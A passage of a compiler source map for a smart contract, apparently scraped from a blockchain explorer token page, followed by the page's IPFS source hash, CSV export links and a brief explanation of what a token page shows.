577:7;11572:29;;11586:15;8189:17;;8177:9;:29;8227:15;;8217:7;:25;8133:117;14375:164;14417:7;14438:15;14455;14474:19;:17;:19::i;:::-;14437:56;;-1:-1:-1;14437:56:0;-1:-1:-1;14511:20:0;14437:56;;14511:11;:20::i;:::-;14504:27;;;;14375:164;:::o;2836:132::-;2894:7;2921:39;2925:1;2928;2921:39;;;;;;;;;;;;;;;;;:3;:39::i;7903:221::-;7950:9;;:14;:30;;;;-1:-1:-1;7968:7:0;;:12;7950:30;7946:43;;;7903:221::o;7946:43::-;8022:9;;;8002:17;:29;8060:7;;;8042:15;:25;-1:-1:-1;8081:13:0;;;;8105:11;7903:221::o;11618:618::-;11765:15;11795:23;11833:12;11860:23;11898:12;11925:13;11952:27;11963:6;11971:7;11952:10;:27::i;:::-;-1:-1:-1;;;;;12008:15:0;;;;;;:7;:15;;;;;;11750:229;;-1:-1:-1;11750:229:0;;-1:-1:-1;11750:229:0;;-1:-1:-1;11750:229:0;-1:-1:-1;11750:229:0;-1:-1:-1;11750:229:0;-1:-1:-1;12008:28:0;;11750:229;12008:19;:28::i;:::-;-1:-1:-1;;;;;11990:15:0;;;;;;;:7;:15;;;;;;:46;;;;12068:18;;;;;;;:39;;12091:15;12068:22;:39::i;:::-;-1:-1:-1;;;;;12047:18:0;;;;;;:7;:18;;;;;:60;12118:16;12128:5;12118:9;:16::i;:::-;12145:23;12157:4;12163;12145:11;:23::i;:::-;12201:9;-1:-1:-1;;;;;12184:44:0;12193:6;-1:-1:-1;;;;;12184:44:0;;12212:15;12184:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;12184:44:0;;;;;;;;11739:497;;;;;;11618:618;;;:::o;14548:257::-;14646:7;;14599;;;;4668:20;14714;14646:7;4668:20;14714:11;:20::i;:::-;14704:7;:30;14700:61;;;-1:-1:-1;;14744:7:0;;;4668:20;;-1:-1:-1;14548:257:0;-1:-1:-1;14548:257:0:o;14700:61::-;14780:7;;14789;;-1:-1:-1;14548:257:0;-1:-1:-1;14548:257:0:o;2977:223::-;3097:7;3132:12;3125:5;3117:28;;;;-1:-1:-1;;;3117:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3156:9:0;3168:5;3172:1;3168;:5;:::i;12659:686::-;12775:7;12797;12819;12841;12863;12885;12921:23;12946:12;12960:13;12990:40;13002:7;13011:9;;13022:7;;12990:11;:40::i;:::-;12920:110;;;;;;13041:19;13063:10;:8;:10::i;:::-;13041:32;;13085:15;13102:23;13127:12;13156:46;13168:7;13177:4;13183:5;13190:11;13156;:46::i;:::-;13084:118;;;;;;13227:17;;;;;;;;;-1:-1:-1;;;;;13227:17:0;-1:-1:-1;;;;;13217:27:0;:6;-1:-1:-1;;;;;13217:27:0;;13213:44;;13256:1;13246:11;;13213:44;13276:7;;13285:15;;-1:-1:-1;13276:7:0;;-1:-1:-1;13308:15:0;;-1:-1:-1;13325:4:0;;-1:-1:-1;13325:4:0;-1:-1:-1;12659:686:0;;-1:-1:-1;;;;12659:686:0:o;2015:179::-;2073:7;;2105:5;2109:1;2105;:5;:::i;:::-;2093:17;;2134:1;2129;:6;;2121:46;;;;-1:-1:-1;;;2121:46:0;;12147:2:1;2121:46:0;;;12129:21:1;12186:2;12166:18;;;12159:30;12225:29;12205:18;;;12198:57;12272:18;;2121:46:0;11945:351:1;12245:211:0;12298:19;12320:10;:8;:10::i;:::-;12298:32;-1:-1:-1;12341:13:0;12357:22;:5;12298:32;12357:9;:22::i;:::-;12431:4;12415:22;;;;:7;:22;;;;;;12341:38;;-1:-1:-1;12415:33:0;;12341:38;12415:26;:33::i;:::-;12406:4;12390:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12245:211:0:o;12465:147::-;12543:7;;:17;;12555:4;12543:11;:17::i;:::-;12533:7;:27;12584:10;;:20;;12599:4;12584:14;:20::i;:::-;12571:10;:33;-1:-1:-1;;12465:147:0:o;13354:469::-;13523:7;;;;13617:30;13643:3;13617:21;:7;13629:8;13617:11;:21::i;:::-;:25;;:30::i;:::-;13602:45;-1:-1:-1;13658:13:0;13674:28;13698:3;13674:19;:7;13686:6;13674:11;:19::i;:28::-;13658:44;-1:-1:-1;13713:23:0;13739:28;13658:44;13739:17;:7;13751:4;13739:11;:17::i;:::-;:21;;:28::i;:::-;13713:54;13803:4;;-1:-1:-1;13809:5:0;;-1:-1:-1;13354:469:0;;-1:-1:-1;;;;;13354:469:0:o;13832:534::-;14026:7;;;;14123:24;:7;14135:11;14123;:24::i;:::-;14105:42;-1:-1:-1;14158:12:0;14173:21;:4;14182:11;14173:8;:21::i;:::-;14158:36;-1:-1:-1;14205:13:0;14221:22;:5;14231:11;14221:9;:22::i;:::-;14205:38;-1:-1:-1;14254:23:0;14280:28;14205:38;14280:17;:7;14292:4;14280:11;:17::i;:28::-;14327:7;;;;-1:-1:-1;14353:4:0;;-1:-1:-1;13832:534:0;;-1:-1:-1;;;;;;;13832:534:0:o;2581:246::-;2639:7;2663:1;2668;2663:6;2659:47;;-1:-1:-1;2693:1:0;2686:8;;2659:47;2716:9;2728:5;2732:1;2728;:5;:::i;:::-;2716:17;-1:-1:-1;2761:1:0;2752:5;2756:1;2716:17;2752:5;:::i;:::-;:10;2744:56;;;;-1:-1:-1;;;2744:56:0;;12676:2:1;2744:56:0;;;12658:21:1;12715:2;12695:18;;;12688:30;12754:34;12734:18;;;12727:62;-1:-1:-1;;;12805:18:1;;;12798:31;12846:19;;2744:56:0;12474:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:118::-;2575:5;2568:13;2561:21;2554:5;2551:32;2541:60;;2597:1;2594;2587:12;2612:241;2668:6;2721:2;2709:9;2700:7;2696:23;2692:32;2689:52;;;2737:1;2734;2727:12;2689:52;2776:9;2763:23;2795:28;2817:5;2795:28;:::i;2858:247::-;2917:6;2970:2;2958:9;2949:7;2945:23;2941:32;2938:52;;;2986:1;2983;2976:12;2938:52;3025:9;3012:23;3044:31;3069:5;3044:31;:::i;3110:180::-;3169:6;3222:2;3210:9;3201:7;3197:23;3193:32;3190:52;;;3238:1;3235;3228:12;3190:52;-1:-1:-1;3261:23:1;;3110:180;-1:-1:-1;3110:180:1:o;3295:385::-;3381:6;3389;3397;3405;3458:3;3446:9;3437:7;3433:23;3429:33;3426:53;;;3475:1;3472;3465:12;3426:53;-1:-1:-1;;3498:23:1;;;3568:2;3553:18;;3540:32;;-1:-1:-1;3619:2:1;3604:18;;3591:32;;3670:2;3655:18;3642:32;;-1:-1:-1;3295:385:1;-1:-1:-1;3295:385:1:o;3685:388::-;3753:6;3761;3814:2;3802:9;3793:7;3789:23;3785:32;3782:52;;;3830:1;3827;3820:12;3782:52;3869:9;3856:23;3888:31;3913:5;3888:31;:::i;:::-;3938:5;-1:-1:-1;3995:2:1;3980:18;;3967:32;4008:33;3967:32;4008:33;:::i;:::-;4060:7;4050:17;;;3685:388;;;;;:::o;4078:356::-;4280:2;4262:21;;;4299:18;;;4292:30;4358:34;4353:2;4338:18;;4331:62;4425:2;4410:18;;4078:356::o;4791:251::-;4861:6;4914:2;4902:9;4893:7;4889:23;4885:32;4882:52;;;4930:1;4927;4920:12;4882:52;4962:9;4956:16;4981:31;5006:5;4981:31;:::i;5968:306::-;6056:6;6064;6072;6125:2;6113:9;6104:7;6100:23;6096:32;6093:52;;;6141:1;6138;6131:12;6093:52;6170:9;6164:16;6154:26;;6220:2;6209:9;6205:18;6199:25;6189:35;;6264:2;6253:9;6249:18;6243:25;6233:35;;5968:306;;;;;:::o;6558:245::-;6625:6;6678:2;6666:9;6657:7;6653:23;6649:32;6646:52;;;6694:1;6691;6684:12;6646:52;6726:9;6720:16;6745:28;6767:5;6745:28;:::i;9675:127::-;9736:10;9731:3;9727:20;9724:1;9717:31;9767:4;9764:1;9757:15;9791:4;9788:1;9781:15;9807:125;9872:9;;;9893:10;;;9890:36;;;9906:18;;:::i;10341:128::-;10408:9;;;10429:11;;;10426:37;;;10443:18;;:::i;10606:127::-;10667:10;10662:3;10658:20;10655:1;10648:31;10698:4;10695:1;10688:15;10722:4;10719:1;10712:15;10738:980;11000:4;11048:3;11037:9;11033:19;11079:6;11068:9;11061:25;11105:2;11143:6;11138:2;11127:9;11123:18;11116:34;11186:3;11181:2;11170:9;11166:18;11159:31;11210:6;11245;11239:13;11276:6;11268;11261:22;11314:3;11303:9;11299:19;11292:26;;11353:2;11345:6;11341:15;11327:29;;11374:1;11384:195;11398:6;11395:1;11392:13;11384:195;;;11463:13;;-1:-1:-1;;;;;11459:39:1;11447:52;;11554:15;;;;11519:12;;;;11495:1;11413:9;11384:195;;;-1:-1:-1;;;;;;;11635:32:1;;;;11630:2;11615:18;;11608:60;-1:-1:-1;;;11699:3:1;11684:19;11677:35;11596:3;10738:980;-1:-1:-1;;;10738:980:1:o;11723:217::-;11763:1;11789;11779:132;;11833:10;11828:3;11824:20;11821:1;11814:31;11868:4;11865:1;11858:15;11896:4;11893:1;11886:15;11779:132;-1:-1:-1;11925:9:1;;11723:217::o;12301:168::-;12374:9;;;12405;;12422:15;;;12416:22;;12402:37;12392:71;;12443:18;;:::i

Swarm Source

ipfs://9a879dea7b702f0e325e4c1a4239ceb2f3e907ad749cb3456a67d2a65378dfd8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.